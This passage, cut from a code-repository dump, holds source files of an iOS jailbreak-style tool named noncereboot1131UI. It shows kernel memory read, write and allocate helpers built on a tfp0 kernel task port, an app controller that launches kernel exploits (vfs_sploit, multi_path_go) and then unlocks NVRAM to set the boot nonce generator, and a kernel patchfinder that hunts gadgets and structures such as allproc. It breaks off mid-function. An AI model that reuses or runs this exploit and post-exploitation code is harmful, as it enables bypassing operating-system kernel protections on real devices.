(rv) { 112 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 113 | break; 114 | } 115 | offset += chunk; 116 | } 117 | return offset; 118 | } 119 | 120 | uint64_t kalloc(vm_size_t size) { 121 | mach_vm_address_t address = 0; 122 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 123 | return address; 124 | } 125 | 126 | uint64_t kalloc_wired(uint64_t size) { 127 | kern_return_t err; 128 | mach_vm_address_t addr = 0; 129 | mach_vm_size_t ksize = round_page_kernel(size); 130 | 131 | printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size); 132 | 133 | err = mach_vm_allocate(tfpzero, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE); 134 | if (err != KERN_SUCCESS) { 135 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 136 | sleep(3); 137 | return 0; 138 | } 139 | 140 | printf("allocated address: %llx\n", addr); 141 | 142 | addr += 0x3fff; 143 | addr &= ~0x3fffull; 144 | 145 | printf("address to wire: %llx\n", addr); 146 | 147 | err = mach_vm_wire(fake_host_priv(), tfpzero, addr, ksize, VM_PROT_READ|VM_PROT_WRITE); 148 | if (err != KERN_SUCCESS) { 149 | printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 150 | sleep(3); 151 | return 0; 152 | } 153 | return addr; 154 | } 155 | 156 | void kfree(mach_vm_address_t address, vm_size_t size){ 157 | mach_vm_deallocate(tfpzero, address, size); 158 | } 159 | 160 | uint32_t find_pid_of_proc(const char *proc_name) { 161 | uint64_t proc = rk64(find_allproc()); 162 | while (proc) { 163 | uint32_t pid = (uint32_t)rk32(proc + offsetof_p_pid); 164 | char name[40] = {0}; 165 | kread(proc+0x268, name, 20); 166 | if (strstr(name, proc_name)){ 167 | return pid; 168 | } 169 | proc = rk64(proc); 170 | } 171 | return 0; 172 | } 173 | 174 | uint64_t get_proc_struct_for_pid(pid_t proc_pid) { 175 | uint64_t proc = rk64(find_allproc()); 176 | while (proc) { 177 | uint32_t pid = (uint32_t)rk32(proc + offsetof_p_pid); 178 | if (pid == proc_pid){ 179 | return proc; 180 | } 181 | proc = rk64(proc); 182 | } 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /noncereboot1131UI/app/controllers/ViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.m 3 | // noncereboot1131UI 4 | // 5 | // Created by Pwn20wnd on 6/30/18. 6 | // Copyright © 2018 Pwn20wnd. All rights reserved. 7 | // 8 | 9 | #import "ViewController.h" 10 | #include "multi_path_sploit.h" 11 | #include "vfs_sploit.h" 12 | #include "offsets.h" 13 | #include "noncereboot.h" 14 | #include "kmem.h" 15 | #include "unlocknvram.h" 16 | #include "nonce.h" 17 | 18 | @interface ViewController () 19 | 20 | @end 21 | 22 | @implementation ViewController 23 | 24 | #define localize(key) NSLocalizedString(key, @"") 25 | 26 | #define MY_TWITTER_HANDLE "Pwn20wnd" 27 | #define K_GENERATOR "generator" 28 | 29 | - (void)viewDidLoad { 30 | [super viewDidLoad]; 31 | // Do any additional setup after loading the view, typically from a nib. 32 | 33 | switch (offsets_init()) { 34 | case ERR_NOERR: { 35 | break; 36 | } 37 | case ERR_VERSION: { 38 | dispatch_async(dispatch_get_main_queue(), ^{ 39 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Status") message:localize(@"Version Error") preferredStyle:UIAlertControllerStyleAlert]; 40 | [self presentViewController:alertController animated:YES completion:nil]; 41 | }); 42 | return; 43 | } 44 | 45 | default: { 46 | dispatch_async(dispatch_get_main_queue(), ^{ 47 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Error") message:localize(@"Offsets") preferredStyle:UIAlertControllerStyleAlert]; 48 | [self presentViewController:alertController animated:YES completion:nil]; 49 | }); 50 | return; 51 | } 52 | } 53 | dispatch_async(dispatch_get_main_queue(), ^{ 54 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Please wait (1/3)") message:localize(@"Starting noncereboot1131") preferredStyle:UIAlertControllerStyleAlert]; 55 | [self presentViewController:alertController animated:YES completion:nil]; 56 | }); 57 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{ 58 | #if WANT_VFS 59 | int exploitstatus = vfs_sploit(); 60 | #else /* !WANT_VFS */ 61 | int exploitstatus = multi_path_go(); 62 | #endif /* !WANT_VFS */ 63 | 64 | switch (exploitstatus) { 65 | case ERR_NOERR: { 66 | dispatch_async(dispatch_get_main_queue(), ^{ 67 | [self dismissViewControllerAnimated:NO completion:nil]; 68 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Please wait (2/3)") message:localize(@"Starting noncereboot1131") preferredStyle:UIAlertControllerStyleAlert]; 69 | [self presentViewController:alertController animated:YES completion:nil]; 70 | }); 71 | break; 72 | } 73 | case ERR_EXPLOIT: { 74 | dispatch_async(dispatch_get_main_queue(), ^{ 75 | [self dismissViewControllerAnimated:NO completion:nil]; 76 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Error") message:localize(@"Exploit") preferredStyle:UIAlertControllerStyleAlert]; 77 | [self presentViewController:alertController animated:YES completion:nil]; 78 | }); 79 | return; 80 | } 81 | case ERR_UNSUPPORTED: { 82 | dispatch_async(dispatch_get_main_queue(), ^{ 83 | [self dismissViewControllerAnimated:NO completion:nil]; 84 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Error") message:localize(@"Unsupported") preferredStyle:UIAlertControllerStyleAlert]; 85 | [self presentViewController:alertController animated:YES completion:nil]; 86 | }); 87 | return; 88 | } 89 | default: 90 | dispatch_async(dispatch_get_main_queue(), ^{ 91 | [self dismissViewControllerAnimated:NO completion:nil]; 92 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Status") message:localize(@"Error Exploiting") preferredStyle:UIAlertControllerStyleAlert]; 93 | [self presentViewController:alertController animated:YES completion:nil]; 94 | }); 95 | return; 96 | } 97 | 98 | int postexploitationstatus = start_noncereboot(tfp0); 99 | 100 | switch (postexploitationstatus) { 101 | case ERR_NOERR: { 102 | dispatch_async(dispatch_get_main_queue(), ^{ 103 | [self dismissViewControllerAnimated:NO completion:nil]; 104 | }); 105 | break; 106 | } 107 | case ERR_TFP0: { 108 | dispatch_async(dispatch_get_main_queue(), ^{ 109 | [self dismissViewControllerAnimated:NO completion:nil]; 110 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Error") message:localize(@"tfp0") preferredStyle:UIAlertControllerStyleAlert]; 111 | [self presentViewController:alertController animated:YES completion:nil]; 112 | }); 113 | break; 114 | } 115 | default: { 116 | dispatch_async(dispatch_get_main_queue(), ^{ 117 | [self dismissViewControllerAnimated:NO completion:nil]; 118 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Status") message:localize(@"Error Post-exploitation") preferredStyle:UIAlertControllerStyleAlert]; 119 | [self presentViewController:alertController animated:YES completion:nil]; 120 | }); 121 | break; 122 | } 123 | } 124 | bool ret = dump_apticket([[NSHomeDirectory() stringByAppendingPathComponent:@"Documents"] stringByAppendingPathComponent:@"apticket.der"].UTF8String); 125 | [self dismissViewControllerAnimated:YES completion:nil]; 126 | }); 127 | } 128 | 129 | 130 | - (void)didReceiveMemoryWarning { 131 | [super didReceiveMemoryWarning]; 132 | // Dispose of any resources that can be recreated. 133 | } 134 | 135 | - (IBAction)tappedOnSetGenerator:(id)sender { 136 | const char *generatorInput = [_generatorInput.text UTF8String]; 137 | char compareString[22]; 138 | uint64_t rawGeneratorValue; 139 | sscanf(generatorInput, "0x%16llx",&rawGeneratorValue); 140 | sprintf(compareString, "0x%016llx", rawGeneratorValue); 141 | if(strcmp(compareString, generatorInput) == 0) { 142 | unlocknvram(); 143 | if (setgen(generatorInput) == 0) { 144 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Success") message:localize(@"The generator has been set") preferredStyle:UIAlertControllerStyleAlert]; 145 | [alertController addAction:[UIAlertAction actionWithTitle:localize(@"OK") style:UIAlertActionStyleDefault handler:nil]]; 146 | [self presentViewController:alertController animated:YES completion:nil]; 147 | } 148 | locknvram(); 149 | } else { 150 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:localize(@"Error") message:localize(@"Failed to validate generator") preferredStyle:UIAlertControllerStyleAlert]; 151 | [alertController addAction:[UIAlertAction actionWithTitle:localize(@"OK") style:UIAlertActionStyleDefault handler:nil]]; 152 | [self presentViewController:alertController animated:YES completion:nil]; 153 | } 154 | } 155 | 156 | NSString *getURLForUsername(NSString *user) { 157 | UIApplication *application = [UIApplication sharedApplication]; 158 | if ([application canOpenURL:[NSURL URLWithString:@"tweetbot://"]]) { 159 | return [@"tweetbot:///user_profile/" stringByAppendingString:user]; 160 | } else if ([application canOpenURL:[NSURL URLWithString:@"twitterrific://"]]) { 161 | return [@"twitterrific:///profile?screen_name=" stringByAppendingString:user]; 162 | } else if ([application canOpenURL:[NSURL URLWithString:@"tweetings://"]]) { 163 | return [@"tweetings:///user?screen_name=" stringByAppendingString:user]; 164 | } else if ([application canOpenURL:[NSURL URLWithString:@"twitter://"]]) { 165 | return [@"twitter://user?screen_name=" stringByAppendingString:user]; 166 | } else { 167 | return [@"https://mobile.twitter.com/" stringByAppendingString:user]; 168 | } 169 | return nil; 170 | } 171 | 172 | - (IBAction)tappedOnMe:(id)sender { 173 | UIApplication *application = [UIApplication sharedApplication]; 174 | NSString *str = getURLForUsername(@MY_TWITTER_HANDLE); 175 | NSURL *URL = [NSURL URLWithString:str]; 176 | [application openURL:URL options:@{} completionHandler:nil]; 177 | } 178 | 179 | @end 180 | -------------------------------------------------------------------------------- /noncereboot1131UI/app/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 36 | 58 | 64 | 65 | 66 | 67 | 73 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/patchfinder64.c: -------------------------------------------------------------------------------- 1 | // 2 | // patchfinder64.c 3 | // extra_recipe 4 | // 5 | // Created by xerub on 06/06/2017. 6 | // Copyright © 2017 xerub. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include "kmem.h" 13 | 14 | typedef unsigned long long addr_t; 15 | 16 | #define IS64(image) (*(uint8_t *)(image) & 1) 17 | 18 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) 19 | 20 | /* generic stuff *************************************************************/ 21 | 22 | #define UCHAR_MAX 255 23 | 24 | static unsigned char * 25 | boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, 26 | const unsigned char* needle, size_t nlen) 27 | { 28 | size_t last, scan = 0; 29 | size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: 30 | * bad character shift */ 31 | 32 | /* Sanity checks on the parameters */ 33 | if (nlen <= 0 || !haystack || !needle) 34 | return NULL; 35 | 36 | /* ---- Preprocess ---- */ 37 | /* Initialize the table to default value */ 38 | /* When a character is encountered that does not occur 39 | * in the needle, we can safely skip ahead for the whole 40 | * length of the needle. 41 | */ 42 | for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) 43 | bad_char_skip[scan] = nlen; 44 | 45 | /* C arrays have the first byte at [0], therefore: 46 | * [nlen - 1] is the last byte of the array. */ 47 | last = nlen - 1; 48 | 49 | /* Then populate it with the analysis of the needle */ 50 | for (scan = 0; scan < last; scan = scan + 1) 51 | bad_char_skip[needle[scan]] = last - scan; 52 | 53 | /* ---- Do the matching ---- */ 54 | 55 | /* Search the haystack, while the needle can still be within it. */ 56 | while (hlen >= nlen) 57 | { 58 | /* scan from the end of the needle */ 59 | for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) 60 | if (scan == 0) /* If the first byte matches, we've found it. */ 61 | return (void *)haystack; 62 | 63 | /* otherwise, we need to skip some bytes and start again. 64 | Note that here we are getting the skip value based on the last byte 65 | of needle, no matter where we didn't match. So if needle is: "abcd" 66 | then we are skipping based on 'd' and that value will be 4, and 67 | for "abcdd" we again skip on 'd' but the value will be only 1. 68 | The alternative of pretending that the mismatched character was 69 | the last character is slower in the normal case (E.g. finding 70 | "abcd" in "...azcd..." gives 4 by using 'd' but only 71 | 4-2==2 using 'z'. */ 72 | hlen -= bad_char_skip[haystack[last]]; 73 | haystack += bad_char_skip[haystack[last]]; 74 | } 75 | 76 | return NULL; 77 | } 78 | 79 | /* patchfinder ***************************************************************/ 80 | 81 | // Finds start of function 82 | static addr_t 83 | bof64(const uint8_t *buf, addr_t start, addr_t where) 84 | { 85 | for (; where >= start; where -= 4) { 86 | uint32_t op = *(uint32_t *)(buf + where); 87 | if ((op & 0xFFC003FF) == 0x910003FD) { 88 | unsigned delta = (op >> 10) & 0xFFF; 89 | //printf("%x: ADD X29, SP, #0x%x\n", where, delta); 90 | if ((delta & 0xF) == 0) { 91 | addr_t prev = where - ((delta >> 4) + 1) * 4; 92 | uint32_t au = *(uint32_t *)(buf + prev); 93 | if ((au & 0xFFC003E0) == 0xA98003E0) { 94 | //printf("%x: STP x, y, [SP,#-imm]!\n", prev); 95 | return prev; 96 | } 97 | } 98 | } 99 | } 100 | return 0; 101 | } 102 | 103 | static addr_t 104 | xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) 105 | { 106 | addr_t i; 107 | uint64_t value[32]; 108 | 109 | memset(value, 0, sizeof(value)); 110 | 111 | end &= ~3; 112 | for (i = start & ~3; i < end; i += 4) { 113 | uint32_t op = *(uint32_t *)(buf + i); 114 | unsigned reg = op & 0x1F; 115 | if ((op & 0x9F000000) == 0x90000000) { 116 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 117 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 118 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 119 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 120 | unsigned rd = op & 0x1F; 121 | unsigned rm = (op >> 16) & 0x1F; 122 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 123 | value[rd] = value[rm];*/ 124 | } else if ((op & 0xFF000000) == 0x91000000) { 125 | unsigned rn = (op >> 5) & 0x1F; 126 | unsigned shift = (op >> 22) & 3; 127 | unsigned imm = (op >> 10) & 0xFFF; 128 | if (shift == 1) { 129 | imm <<= 12; 130 | } else { 131 | //assert(shift == 0); 132 | if (shift > 1) continue; 133 | } 134 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 135 | value[reg] = value[rn] + imm; 136 | } else if ((op & 0xF9C00000) == 0xF9400000) { 137 | unsigned rn = (op >> 5) & 0x1F; 138 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 139 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 140 | if (!imm) continue; // XXX not counted as true xref 141 | value[reg] = value[rn] + imm; // XXX address, not actual value 142 | /*} else if ((op & 0xF9C00000) == 0xF9000000) { 143 | unsigned rn = (op >> 5) & 0x1F; 144 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 145 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 146 | if (!imm) continue; // XXX not counted as true xref 147 | value[rn] = value[rn] + imm; // XXX address, not actual value*/ 148 | } else if ((op & 0x9F000000) == 0x10000000) { 149 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 150 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 151 | value[reg] = ((long long)adr >> 11) + i; 152 | } else if ((op & 0xFF000000) == 0x58000000) { 153 | unsigned adr = (op & 0xFFFFE0) >> 3; 154 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 155 | value[reg] = adr + i; // XXX address, not actual value 156 | } 157 | if (value[reg] == what) { 158 | return i; 159 | } 160 | } 161 | return 0; 162 | } 163 | 164 | static addr_t 165 | calc64(const uint8_t *buf, addr_t start, addr_t end, int which) 166 | { 167 | addr_t i; 168 | uint64_t value[32]; 169 | 170 | memset(value, 0, sizeof(value)); 171 | 172 | end &= ~3; 173 | for (i = start & ~3; i < end; i += 4) { 174 | uint32_t op = *(uint32_t *)(buf + i); 175 | unsigned reg = op & 0x1F; 176 | if ((op & 0x9F000000) == 0x90000000) { 177 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 178 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 179 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 180 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 181 | unsigned rd = op & 0x1F; 182 | unsigned rm = (op >> 16) & 0x1F; 183 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 184 | value[rd] = value[rm];*/ 185 | } else if ((op & 0xFF000000) == 0x91000000) { 186 | unsigned rn = (op >> 5) & 0x1F; 187 | unsigned shift = (op >> 22) & 3; 188 | unsigned imm = (op >> 10) & 0xFFF; 189 | if (shift == 1) { 190 | imm <<= 12; 191 | } else { 192 | //assert(shift == 0); 193 | if (shift > 1) continue; 194 | } 195 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 196 | value[reg] = value[rn] + imm; 197 | } else if ((op & 0xF9C00000) == 0xF9400000) { 198 | unsigned rn = (op >> 5) & 0x1F; 199 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 200 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 201 | if (!imm) continue; // XXX not counted as true xref 202 | value[reg] = value[rn] + imm; // XXX address, not actual value 203 | } else if ((op & 0xF9C00000) == 0xF9000000) { 204 | unsigned rn = (op >> 5) & 0x1F; 205 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 206 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 207 | if (!imm) continue; // XXX not counted as true xref 208 | value[rn] = value[rn] + imm; // XXX address, not actual value 209 | } else if ((op & 0x9F000000) == 0x10000000) { 210 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 211 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 212 | value[reg] = ((long long)adr >> 11) + i; 213 | } else if ((op & 0xFF000000) == 0x58000000) { 214 | unsigned adr = (op & 0xFFFFE0) >> 3; 215 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 216 | value[reg] = adr + i; // XXX address, not actual value 217 | } 218 | } 219 | return value[which]; 220 | } 221 | 222 | /* kernel iOS10 **************************************************************/ 223 | 224 | #include 225 | #include 226 | #include 227 | #include 228 | #include 229 | 230 | #ifndef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 231 | #define __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 232 | #endif 233 | 234 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 235 | #include 236 | size_t kread(uint64_t where, void *p, size_t size); 237 | #endif 238 | 239 | static uint8_t *kernel = NULL; 240 | static size_t kernel_size = 0; 241 | 242 | static addr_t xnucore_base = 0; 243 | static addr_t xnucore_size = 0; 244 | static addr_t prelink_base = 0; 245 | static addr_t prelink_size = 0; 246 | static addr_t cstring_base = 0; 247 | static addr_t cstring_size = 0; 248 | static addr_t pstring_base = 0; 249 | static addr_t pstring_size = 0; 250 | static addr_t kerndumpbase = -1; 251 | static addr_t kernel_entry = 0; 252 | static void *kernel_mh = 0; 253 | static addr_t kernel_delta = 0; 254 | 255 | int 256 | init_kernel(addr_t base, const char *filename) 257 | { 258 | size_t rv; 259 | uint8_t buf[0x4000]; 260 | unsigned i, j; 261 | const struct mach_header *hdr = (struct mach_header *)buf; 262 | const uint8_t *q; 263 | addr_t min = -1; 264 | addr_t max = 0; 265 | int is64 = 0; 266 | 267 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 268 | #define close(f) 269 | rv = kread(base, buf, sizeof(buf)); 270 | if (rv != sizeof(buf)) { 271 | return -1; 272 | } 273 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 274 | int fd = open(filename, O_RDONLY); 275 | if (fd < 0) { 276 | return -1; 277 | } 278 | 279 | rv = read(fd, buf, sizeof(buf)); 280 | if (rv != sizeof(buf)) { 281 | close(fd); 282 | return -1; 283 | } 284 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 285 | 286 | if (!MACHO(buf)) { 287 | close(fd); 288 | return -1; 289 | } 290 | 291 | if (IS64(buf)) { 292 | is64 = 4; 293 | } 294 | 295 | q = buf + sizeof(struct mach_header) + is64; 296 | for (i = 0; i < hdr->ncmds; i++) { 297 | const struct load_command *cmd = (struct load_command *)q; 298 | if (cmd->cmd == LC_SEGMENT_64) { 299 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 300 | if (min > seg->vmaddr) { 301 | min = seg->vmaddr; 302 | } 303 | if (max < seg->vmaddr + seg->vmsize) { 304 | max = seg->vmaddr + seg->vmsize; 305 | } 306 | if (!strcmp(seg->segname, "__TEXT_EXEC")) { 307 | xnucore_base = seg->vmaddr; 308 | xnucore_size = seg->filesize; 309 | } 310 | if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { 311 | prelink_base = seg->vmaddr; 312 | prelink_size = seg->filesize; 313 | } 314 | if (!strcmp(seg->segname, "__TEXT")) { 315 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 316 | for (j = 0; j < seg->nsects; j++) { 317 | if (!strcmp(sec[j].sectname, "__cstring")) { 318 | cstring_base = sec[j].addr; 319 | cstring_size = sec[j].size; 320 | } 321 | } 322 | } 323 | if (!strcmp(seg->segname, "__PRELINK_TEXT")) { 324 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 325 | for (j = 0; j < seg->nsects; j++) { 326 | if (!strcmp(sec[j].sectname, "__text")) { 327 | pstring_base = sec[j].addr; 328 | pstring_size = sec[j].size; 329 | } 330 | } 331 | } 332 | if (!strcmp(seg->segname, "__LINKEDIT")) { 333 | kernel_delta = seg->vmaddr - min - seg->fileoff; 334 | } 335 | } 336 | if (cmd->cmd == LC_UNIXTHREAD) { 337 | uint32_t *ptr = (uint32_t *)(cmd + 1); 338 | uint32_t flavor = ptr[0]; 339 | struct { 340 | uint64_t x[29]; /* General purpose registers x0-x28 */ 341 | uint64_t fp; /* Frame pointer x29 */ 342 | uint64_t lr; /* Link register x30 */ 343 | uint64_t sp; /* Stack pointer x31 */ 344 | uint64_t pc; /* Program counter */ 345 | uint32_t cpsr; /* Current program status register */ 346 | } *thread = (void *)(ptr + 2); 347 | if (flavor == 6) { 348 | kernel_entry = thread->pc; 349 | } 350 | } 351 | q = q + cmd->cmdsize; 352 | } 353 | 354 | kerndumpbase = min; 355 | xnucore_base -= kerndumpbase; 356 | prelink_base -= kerndumpbase; 357 | cstring_base -= kerndumpbase; 358 | pstring_base -= kerndumpbase; 359 | kernel_size = max - min; 360 | 361 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 362 | kernel = malloc(kernel_size); 363 | if (!kernel) { 364 | return -1; 365 | } 366 | rv = kread(kerndumpbase, kernel, kernel_size); 367 | if (rv != kernel_size) { 368 | free(kernel); 369 | return -1; 370 | } 371 | 372 | kernel_mh = kernel + base - min; 373 | 374 | (void)filename; 375 | #undef close 376 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 377 | kernel = calloc(1, kernel_size); 378 | if (!kernel) { 379 | close(fd); 380 | return -1; 381 | } 382 | 383 | q = buf + sizeof(struct mach_header) + is64; 384 | for (i = 0; i < hdr->ncmds; i++) { 385 | const struct load_command *cmd = (struct load_command *)q; 386 | if (cmd->cmd == LC_SEGMENT_64) { 387 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 388 | size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); 389 | if (sz != seg->filesize) { 390 | close(fd); 391 | free(kernel); 392 | return -1; 393 | } 394 | if (!kernel_mh) { 395 | kernel_mh = kernel + seg->vmaddr - min; 396 | } 397 | printf("%s\n", seg->segname); 398 | if (!strcmp(seg->segname, "__LINKEDIT")) { 399 | kernel_delta = seg->vmaddr - min - seg->fileoff; 400 | } 401 | } 402 | q = q + cmd->cmdsize; 403 | } 404 | 405 | close(fd); 406 | 407 | (void)base; 408 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 409 | return 0; 410 | } 411 | 412 | void 413 | term_kernel(void) 414 | { 415 | free(kernel); 416 | } 417 | 418 | /* these operate on VA ******************************************************/ 419 | 420 | #define INSN_RET 0xD65F03C0, 0xFFFFFFFF 421 | #define INSN_CALL 0x94000000, 0xFC000000 422 | #define INSN_B 0x14000000, 0xFC000000 423 | #define INSN_CBZ 0x34000000, 0xFC000000 424 | #define INSN_ADRP 0x90000000, 0x9F000000 425 | 426 | addr_t 427 | find_register_value(addr_t where, int reg) 428 | { 429 | addr_t val; 430 | addr_t bof = 0; 431 | where -= kerndumpbase; 432 | if (where > xnucore_base) { 433 | bof = bof64(kernel, xnucore_base, where); 434 | if (!bof) { 435 | bof = xnucore_base; 436 | } 437 | } else if (where > prelink_base) { 438 | bof = bof64(kernel, prelink_base, where); 439 | if (!bof) { 440 | bof = prelink_base; 441 | } 442 | } 443 | val = calc64(kernel, bof, where, reg); 444 | if (!val) { 445 | return 0; 446 | } 447 | return val + kerndumpbase; 448 | } 449 | 450 | addr_t 451 | find_reference(addr_t to, int n, int prelink) 452 | { 453 | addr_t ref, end; 454 | addr_t base = xnucore_base; 455 | addr_t size = xnucore_size; 456 | if (prelink) { 457 | base = prelink_base; 458 | size = prelink_size; 459 | } 460 | if (n <= 0) { 461 | n = 1; 462 | } 463 | end = base + size; 464 | to -= kerndumpbase; 465 | do { 466 | ref = xref64(kernel, base, end, to); 467 | if (!ref) { 468 | return 0; 469 | } 470 | base = ref + 4; 471 | } while (--n > 0); 472 | return ref + kerndumpbase; 473 | } 474 | 475 | addr_t 476 | find_strref(const char *string, int n, int prelink) 477 | { 478 | uint8_t *str; 479 | addr_t base = cstring_base; 480 | addr_t size = cstring_size; 481 | if (prelink) { 482 | base = pstring_base; 483 | size = pstring_size; 484 | } 485 | str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string)); 486 | if (!str) { 487 | return 0; 488 | } 489 | return find_reference(str - kernel + kerndumpbase, n, prelink); 490 | } 491 | 492 | /****** fun *******/ 493 | 494 | addr_t find_add_x0_x0_0x40_ret(void) { 495 | addr_t off; 496 | uint32_t *k; 497 | k = (uint32_t *)(kernel + xnucore_base); 498 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 499 | if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { 500 | return off + xnucore_base + kerndumpbase; 501 | } 502 | } 503 | k = (uint32_t *)(kernel + prelink_base); 504 | for (off = 0; off < prelink_size - 4; off += 4, k++) { 505 | if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { 506 | return off + prelink_base + kerndumpbase; 507 | } 508 | } 509 | return 0; 510 | } 511 | 512 | uint64_t find_allproc(void) { 513 | // Find the first reference to the string 514 | addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0); 515 | if (!ref) { 516 | return 0; 517 | } 518 | ref -= kerndumpbase; 519 | 520 | uint64_t start = bof64(kernel, xnucore_base, ref); 521 | if (!start) { 522 | return 0; 523 | } 524 | 525 | // Find AND W8, W8, #0xFFFFDFFF - it's a pretty distinct instruction 526 | addr_t weird_instruction = 0; 527 | for (int i = 4; i < 4*0x100; i+=4) { 528 | uint32_t op = *(uint32_t *)(kernel + ref + i); 529 | if (op == 0x12127908) { 530 | weird_instruction = ref+i; 531 | break; 532 | } 533 | } 534 | if (!weird_instruction) { 535 | return 0; 536 | } 537 | 538 | uint64_t val = calc64(kernel, start, weird_instruction - 8, 8); 539 | if (!val) { 540 | printf("Failed to calculate x8"); 541 | return 0; 542 | } 543 | 544 | return val + kerndumpbase; 545 | } 546 | 547 | uint64_t find_copyout(void) { 548 | // Find the first reference to the string 549 | addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0); 550 | if (!ref) { 551 | return 0; 552 | } 553 | ref -= kerndumpbase; 554 | 555 | uint64_t start = 0; 556 | for (int i = 4; i < 0x100*4; i+=4) { 557 | uint32_t op = *(uint32_t*)(kernel+ref-i); 558 | if (op == 0xd10143ff) { // SUB SP, SP, #0x50 559 | start = ref-i; 560 | break; 561 | } 562 | } 563 | if (!start) { 564 | return 0; 565 | } 566 | 567 | return start + kerndumpbase; 568 | } 569 | 570 | uint64_t find_bzero(void) { 571 | // Just find SYS #3, c7, c4, #1, X3, then get the start of that function 572 | addr_t off; 573 | uint32_t *k; 574 | k = (uint32_t *)(kernel + xnucore_base); 575 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 576 | if (k[0] == 0xd50b7423) { 